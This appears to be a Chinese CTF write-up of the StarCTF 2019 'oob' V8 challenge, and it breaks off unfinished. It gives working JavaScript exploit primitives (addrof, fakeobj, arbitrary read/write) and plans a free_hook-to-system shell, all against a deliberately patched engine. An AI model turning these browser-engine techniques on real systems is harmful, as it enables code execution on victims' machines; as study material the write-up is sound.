StarCTF 2019: oob

主要参考的文章:http://13.58.107.157/archives/6980。

包括调试的技巧和攻击的原理都写的比较清楚。由于之前大概复现了一下WebKit的,感觉大体的攻击方法都差不多。

  • addrof和fakeobj
  • arbitrary read和write
  • getshell

Debug

开启allow-natives-syntax之后可以使用方便的调试函数。

1
2
3
$ gdb ./d8
pwndbg> set args --allow-natives-syntax ./test.js
pwndbg> r

js中:

1
2
%DebugPrint(a);    //输出对象调试信息
%SystemBreak(); //触发中断,结合gdb使用

DebugPrint会输出a的很多信息。SystemBreak会触发中断,在gdb中就可以调试了,就像pause()。

例如看到一个JSArray的地址是0x12e891f8df11,v8中为了表示对象会在地址上加1,所以真实的地址是0x12e891f8df10。可以通过job命令查看这个地址上的信息(效果类似于DebugPrint):

1
job 0x12e891f8df11

注意用的是+1了的地址。

Source Code Online

在线搜索源码:

image-20191107164010076

很快很准,十分方便。

V8 Objects

大概随便搜一下就有。大概理解一下,假如代码是

1
var a = [1,2,3];

是一个array object。a是一个指针指向ArrayObject,存储的内容用于描述这个a:

1
ArrayObject-> [map, prototype, elements, length, properties]

其中的map用来存储a的类型,elements指针指向低地址处的一块内存,存储的是数组的值:

1
elements-> [MAP, element 1, element 2, element 3]

image-20191106124447395

虽然博客中这么写,但是后续调试的时候发现elements中第一个是map,后面还有length,然后才是element 0(ArrayObject的情况)。但是这不影响后续的exp脚本通过偏移来攻击。

Patch

1
2
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff

如果之后搞崩了想重新来过就

1
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598

如果想生成release版本的:

1
2
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release

在v8/out.gn/x64.release下拿到的就是patch好的v8了:

1
2
3
4
5
6
wgn@ubuntu:~/chrome/v8/out.gn/x64.release$ ./d8
V8 version 7.5.0 (candidate)
d8> var a = [1,2,3];
undefined
d8> a.oob();
7.8820151726526e-311

⚠️随便复制粘贴别人的编译命令的后果就是运行错文件。由于之前编译的是debug的版本,alias写到bashrc里了,所以跑了半天都是没patch的debug版本,还纳闷了半天怎么调用不了oob😢。

⚠️debug版本和release版本都可以用allow-natives-syntax,但是debug版本的输出要更详细一些。release版本只输出了地址和类型。但是release版本用不了job?看不了d8的代码。

感觉应该是出题布置环境的时候用release版本,做题用debug版本。但是编译出debug版本的调用oob就直接崩溃了,于是重新又编译了一遍。编译的时候只编译d8会快很多。

🚨🚨🚨编译debug版本的时候,修改v8目录下的配置文件BUILD.gn。🚨🚨🚨

将其中的

1
v8_enable_slow_dchecks = false

改为true。在debug版本中默认开启了DCHECK,所以调用oob没有绕过检查导致了crash。release版本没有,所以运行没有crash。

查看v8/build/config下的dcheck_always_on.gni中,设定了默认release版本不开启dcheck:

image-20191107130217062

编译之后还是会崩。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
wgn@ubuntu:~/chrome/v8/out.gn/x64.debug$ ./d8
V8 version 7.5.0 (candidate)
d8> var a = [1,2,3];
undefined
d8> a.oob();


#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 32
# Check failed: !v8::internal::FLAG_enable_slow_asserts || (IsFixedDoubleArray()).
#
#
#
#FailureMessage Object: 0x7ffdfe5b80d0
==== C stack trace ===============================

/home/wgn/chrome/v8/out.gn/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x21) [0x7fed7f92fcd1]
/home/wgn/chrome/v8/out.gn/x64.debug/libv8_libplatform.so(+0x3fbb7) [0x7fed7f8c8bb7]
/home/wgn/chrome/v8/out.gn/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x218) [0x7fed7f91b438]
/home/wgn/chrome/v8/out.gn/x64.debug/libv8.so(v8::internal::FixedDoubleArray::FixedDoubleArray(unsigned long)+0x82) [0x7fed80e41002]
/home/wgn/chrome/v8/out.gn/x64.debug/libv8.so(v8::internal::FixedDoubleArray::cast(v8::internal::Object)+0x21) [0x7fed80e40bc1]
/home/wgn/chrome/v8/out.gn/x64.debug/libv8.so(+0x14fdeab) [0x7fed80e35eab]
/home/wgn/chrome/v8/out.gn/x64.debug/libv8.so(v8::internal::Builtin_ArrayOob(int, unsigned long*, v8::internal::Isolate*)+0xed) [0x7fed80e35b8d]
/home/wgn/chrome/v8/out.gn/x64.debug/libv8.so(+0x2a5a0c0) [0x7fed823920c0]
Received signal 4 ILL_ILLOPN 7fed7f92d271
Illegal instruction (core dumped)

查了一些别的博客,大概意思是debug版本是用来触发漏洞的,能够crash就行了,调漏洞的时候用的是release版本。问了一下超爷说把dcheck触发的地方的代码注释掉就行。找了半天没有找到对应的代码在哪…找到一个检查index的:

1
2
3
4
5
6
7
double FixedDoubleArray::get_scalar(int index) {
6 DCHECK(map() != GetReadOnlyRoots().fixed_cow_array_map() &&
5 ┊ ┊ ┊ ┊map() != GetReadOnlyRoots().fixed_array_map());
4 //DCHECK(index >= 0 && index < this->length());
3 DCHECK(!is_the_hole(index));
2 return READ_DOUBLE_FIELD(*this, kHeaderSize + index * kDoubleSize);
1 }

注释掉了还是会报错,大概是我找错了。

注释掉不会报Check的错误,改成了debug check的,…

把release的配置文件的is_debug=true?

❤️最终版 patch+compile?

1
2
3
4
5
6
7
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < ~/chrome/challenges/oob/Chrome/oob.diff
gclient sync
tools/dev/v8gen.py x64.debug -vv
ninja -C out.gn/x64.debug d8
# ./tools/dev/v8gen.py x64.release -vv
# ninja -C ./out.gn/x64.release d8

⚠️至少给4个处理器内核

⚠️内存至少4个G

暂时先用release调试吧。

Diff

看一下diff修改了什么。一般修改的就是出漏洞的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",

给加了一个Array对象叫一个oob的函数,可以通过a.oob()调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);

加了oob具体的实现。len是参数的长度(参数长度>1,因为第一次参数是this指针)。length是数组的长度。

  • 当len超过2的时候报错(两种调用方式,a.oob()或a.oob(value))。
  • a.oob()的情况:读取index=length的数并返回。此处oob。
  • a.oob(value)的情况:将value写入index=length的位置。

这里明显的off-by-one,可以直接读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

这部分做的是与实现函数的关联,能够正常调用。

Exploit

make ur hands dirty!

尝试编写一个js来观察一下oob的效果:

1
2
3
4
5
6
7
8
9
10
var a = [1, 2, 3, 1.1];
%DebugPrint(a);
%SystemBreak();

var data = a.oob();
console.log("[*] data: "+data.toString());
%SystemBreak();

a.oob(2);
%SystemBreak();

看一下a:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> tele 0x118cdcb4de48
00:00000x118cdcb4de48 —▸ 0x381a76082ed9 ◂— 0x400002ded34a001 // map
01:00080x118cdcb4de50 —▸ 0x2ded34a00c71 ◂— 0x2ded34a008 // prototype
02:00100x118cdcb4de58 —▸ 0x118cdcb4de19 ◂— 0x2ded34a014 // elements
03:00180x118cdcb4de60 ◂— 0x400000000 // length
04:00200x118cdcb4de68 ◂— 0x0
... ↓
pwndbg> tele 0x118cdcb4de18
00:00000x118cdcb4de18 —▸ 0x2ded34a014f9 ◂— 0x2ded34a001 // MAP
01:00080x118cdcb4de20 ◂— 0x400000000 // length
02:00100x118cdcb4de28 ◂— 0x3ff0000000000000 // 1
03:00180x118cdcb4de30 ◂— 0x4000000000000000 // 2
04:00200x118cdcb4de38 ◂— 0x4008000000000000 // 3
05:00280x118cdcb4de40 ◂— 0x3ff199999999999a // 1.1
06:00300x118cdcb4de48 —▸ 0x381a76082ed9 ◂— 0x400002ded34a001 // target
07:00380x118cdcb4de50 —▸ 0x2ded34a00c71 ◂— 0x2ded34a008

⚠️此时target就是map。

之后获取了oob的返回值:

1
[*] data: 3.0477081922236e-310

之后看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> tele 0x118cdcb4de48
00:00000x118cdcb4de48 ◂— 0x4000000000000000
01:00080x118cdcb4de50 —▸ 0x2ded34a00c71 ◂— 0x2ded34a008
02:00100x118cdcb4de58 —▸ 0x118cdcb4de19 ◂— 0x2ded34a014
03:00180x118cdcb4de60 ◂— 0x400000000
04:00200x118cdcb4de68 —▸ 0x2ded34a00561 ◂— 0x200002ded34a001
05:00280x118cdcb4de70 —▸ 0x381a76082ed9 ◂— 0x400002ded34a001
06:00300x118cdcb4de78 —▸ 0x2ded34a01ea9 ◂— 0x400002ded34a001
07:00380x118cdcb4de80 ◂— 0x1e00000003
pwndbg> tele 0x118cdcb4de18
00:00000x118cdcb4de18 —▸ 0x2ded34a014f9 ◂— 0x2ded34a001
01:00080x118cdcb4de20 ◂— 0x400000000
02:00100x118cdcb4de28 ◂— 0x3ff0000000000000
03:00180x118cdcb4de30 ◂— 0x4000000000000000
04:00200x118cdcb4de38 ◂— 0x4008000000000000
05:00280x118cdcb4de40 ◂— 0x3ff199999999999a
06:00300x118cdcb4de48 ◂— 0x4000000000000000 // target = 2
07:00380x118cdcb4de50 —▸ 0x2ded34a00c71 ◂— 0x2ded34a008

可以看到target变成了2的浮点数表示。也就是我们修改了map的值。而Js Object是通过map来确定对象的类型的。因此我们有了类型混淆的能力。

addrof and fakeobj

既然可以类型混淆,想到的就是把浮点型和对象做混淆。

  • 对象当作浮点型处理 => 泄露地址 => addrof
  • 浮点型当作对象处理 => 伪造对象 => fakeobj

现阶段的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// float和int之间的转换,常用
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

function f2i(f) {
float64[0] = f;
return bigUint64[0];
}

function i2f(i) {
bigUint64[0] = i;
return float64[0];
}

function hex(i) {
return "0x"+i.toString(16).padStart(16, "0");
}

// float array和object array之间的转换,常用
var obj = {"a":1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

function addrof(obj) {
obj_array[0] = obj;
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;
obj_array.oob(obj_array_map);
return addr;
}

function fakeobj(f) {
float_array[0] = i2f(f+1n);
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}

// 测试一下
var test = {"a":1234};
%DebugPrint(test);
test_addr = addrof(test);
console.log(hex(test_addr));

fo = fakeobj(test_addr);
%DebugPrint(fo);
console.log(fo.a);

我们创建一个对象,通过addrof泄露地址,再通过这个地址解析这个对象的属性。效果:

1
2
3
4
5
wgn@ubuntu:~/chrome/v8/out.gn/x64.release$ ./d8 --allow-natives-syntax ~/chrome/oob.js
0x14fbb344ecf9 <Object map = 0x19d880d4ab39>
0x000014fbb344ecf8
0x14fbb344ecf9 <Object map = 0x19d880d4ab39>
1234

arbitrary read and write

既然现在又了addrof和fakeobj,我们可以通过fakeobj达到任意地址读写的效果。

如果我们能够在一个地址已知的地方布置好一个数组对象需要的map, prototype, elements, length, properties,就可以通过这个地址强制解析成一个数组对象。而其中的elements可控的话,将它指向我们想要读写的地址,就可以进行读写了。

注意一下偏移关系:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> tele 0x118cdcb4de48 // if this is a fake obj
00:00000x118cdcb4de48 —▸ 0x381a76082ed9 ◂— 0x400002ded34a001 // map
01:00080x118cdcb4de50 —▸ 0x2ded34a00c71 ◂— 0x2ded34a008 // prototype
02:00100x118cdcb4de58 —▸ 0x118cdcb4de19 ◂— 0x2ded34a014 // elements
03:00180x118cdcb4de60 ◂— 0x400000000 // length
04:00200x118cdcb4de68 ◂— 0x0
... ↓
pwndbg> tele 0x118cdcb4de18
00:00000x118cdcb4de18 —▸ 0x2ded34a014f9 ◂— 0x2ded34a001 // MAP
01:00080x118cdcb4de20 ◂— 0x400000000 // length
02:00100x118cdcb4de28 ◂— 0x3ff0000000000000 // 1
03:00180x118cdcb4de30 ◂— 0x4000000000000000 // 2
04:00200x118cdcb4de38 ◂— 0x4008000000000000 // 3
05:00280x118cdcb4de40 ◂— 0x3ff199999999999a // 1.1
06:00300x118cdcb4de48 —▸ 0x381a76082ed9 ◂— 0x400002ded34a001 // target
07:00380x118cdcb4de50 —▸ 0x2ded34a00c71 ◂— 0x2ded34a008

假如fakeobj的地址是0x118cdcb4de48,elements指针的值是0x118cdcb4de19,elements指针+0x10是开始存放数组元素的位置。

我们构造一个fake array:

1
2
3
4
5
6
var fake_array = [
float_array_map, // fake map
0, // fake prototype
i2f(0x4141414141414141n), // fake elements
i2f(0x1000000000n) // fake length
]

泄露出fake_array的地址,就可以知道fake_array存放的数组元素在addrof(fake_array)+0x10+0x10的位置(先加的是elements的偏移,再加MAP的大小)。进而通过fakeobj解析为一个fake Array Object。就可以通过这个fake Array Object读写0x4141414141414141+0x10开始的位置。

加入的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x100000000n),
1.1,
2.2
];

var fake_array_addr = addrof(fake_array);
var fake_obj_addr = fake_array_addr-0x30n;
var fake_obj = fakeobj(fake_obj_addr);

function read64(addr) {
fake_array[2] = i2f(addr-0x10n+1n);
console.log(hex(addrof(fake_array)));
console.log(hex(addrof(fake_obj)));
let leak = f2i(fake_obj[0]);
console.log("[*] *"+hex(addr)+": "+hex(leak));
return leak;
}

function write64(addr, value) {
fake_array[2] = i2f(addr-0x10n+1n);
fake_obj[0] = value;
console.log("[*] *"+hex(addr)+"<= "+hex(value));
}

测试功能的时候,可以尝试去读取数组的length然后覆盖,再读取。

Final step: getshell/getflag

回顾传统堆利用的方法:

  • leak libc
  • overwrite hook => one gadget

除了覆盖hook指针的方法,还有wasm的方法。

leak code base

首先,需要leak libc。主要有两种方法:随机泄露和稳定泄露。

leak randomly

分配一个对象,在这个对象很远的地址上(如-0x8000),会出现d8代码段的地址。

1
2
3
4
1a:00d0│   0x3660e92ca218 —▸ 0x55a59b91a230 ◂— push   rbp
1b:00d8│ 0x3660e92ca220 —▸ 0x22a58c2c0b71 ◂— 0x2000022a58c2c01
1c:00e00x3660e92ca228 —▸ 0x55a59b91a230 ◂— push rbp
1d:00e80x3660e92ca230 —▸ 0x1186abd09009 ◂— 0x7000022a58c2c01
1
2
pwndbg> x/gx 0x55a59b91a230
0x55a59b91a230 <v8::(anonymous namespace)::WebAssemblyInstantiate(v8::FunctionCallbackInfo<v8::Value> const&)>: 0x56415741e5894855
1
2
3
4
5
pwndbg> x/4i 0x55a59b91a230
0x55a59b91a230 <v8::(anonymous namespace)::WebAssemblyInstantiate(v8::FunctionCallbackInfo<v8::Value> const&)>: push rbp
0x55a59b91a231 <v8::(anonymous namespace)::WebAssemblyInstantiate(v8::FunctionCallbackInfo<v8::Value> const&)+1>: mov rbp,rsp
0x55a59b91a234 <v8::(anonymous namespace)::WebAssemblyInstantiate(v8::FunctionCallbackInfo<v8::Value> const&)+4>: push r15
0x55a59b91a236 <v8::(anonymous namespace)::WebAssemblyInstantiate(v8::FunctionCallbackInfo<v8::Value> const&)+6>: push r14

如果我们观察低三位,便利内存,如果有这样一个地址,低三位是230,且这个地址存储的内容为0x56415741e5894855,那么这个地址很有可能就是代码段的地址。

📒 这种方法比较普适。

这样,就可以泄露d8代码段的地址,进而通过GOT表泄露libc地址,以及各hook的地址。偏移像平常一样的pwn题那样搞就好。然后就是覆盖为one gadget。

或者覆盖free_hook的地址为system,然后创建ArrayBuffer,写入binsh,v8在释放内存的时候就会getshell。

leak stably

上述方法的问题在于,需要我们遍历内存的值的时候,都可以当作一个合法的可读地址。如果在泄露之前,遇到了一个不合法的地址,造成内存读取异常,上面的方法就不适用了。

稳定的泄露地址的方法也是有的。一个对象的内存空间中,会存有这个对象的构造函数等地址,其偏移一般比较稳定,这样就可以稳定泄露了。

具体的顺序:

  • 找到Array里的map属性
  • 找到map的constructor属性
  • 找到constructor的code属性
  • 在code内存地址附件的固定偏移有代码段的地址

getshell with overwriting hook

需要新写一个write64原语适用于写高地址的情况。

在尝试给free_hook写system的时候,会崩溃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
───────────────────────────────[ REGISTERS ]───────────────────────────────
RAX 0x48d200e42038e18
RBX 0x55a789c456b0 —▸ 0x3e1dd56c2ed9 ◂— 0x4000032c6b80401
RCX 0x0
RDX 0xafee538fe81 ◂— 0x3e1dd56c2e
RDI 0x7fff864bb868 —▸ 0x7f862dc9c599 (_IO_stdfile_0_lock+9) ◂— 0x0
RSI 0x82
R8 0x425
R9 0x55a789bc8ec0 ◂— 0x0
R10 0x14dc27a22cc1 ◂— 0x21000032c6b8040c
R11 0x14dc27a22cc1 ◂— 0x21000032c6b8040c
R12 0x55a789c456b0 —▸ 0x3e1dd56c2ed9 ◂— 0x4000032c6b80401
R13 0x7fff864bb9e8 —▸ 0xafee538fe81 ◂— 0x3e1dd56c2e
R14 0x3e1dd56c2e01 ◂— 0xc9000014dc27a020
R15 0x7fff864bba00 —▸ 0x1224c2305dc1 ◂— 0x2000032c6b80413
RBP 0x7fff864bb8c0 —▸ 0x7fff864bb9b0 —▸ 0x7fff864bb9d0 —▸ 0x7fff864bba28 —▸ 0x7fff864bba78 ◂— ...
RSP 0x7fff864bb828 —▸ 0x55a788a9938f ◂— mov dword ptr [rbp - 0x64], eax
RIP 0x55a788b37e61 ◂— cmp rcx, qword ptr [rax - 0x8fe0]
────────────────────────────────[ DISASM ]─────────────────────────────────
0x55a788b37e61 cmp rcx, qword ptr [rax - 0x8fe0]
0x55a788b37e68 sete al
0x55a788b37e6b ret

0x55a788b37e6c int3
0x55a788b37e6d int3
0x55a788b37e6e int3
0x55a788b37e6f int3
0x55a788b37e70 mov rax, qword ptr [rdi]
0x55a788b37e73 mov rcx, rax
0x55a788b37e76 and rcx, 0xfffffffffffc0000
0x55a788b37e7d mov rcx, qword ptr [rcx + 0x30]

(下篇继续)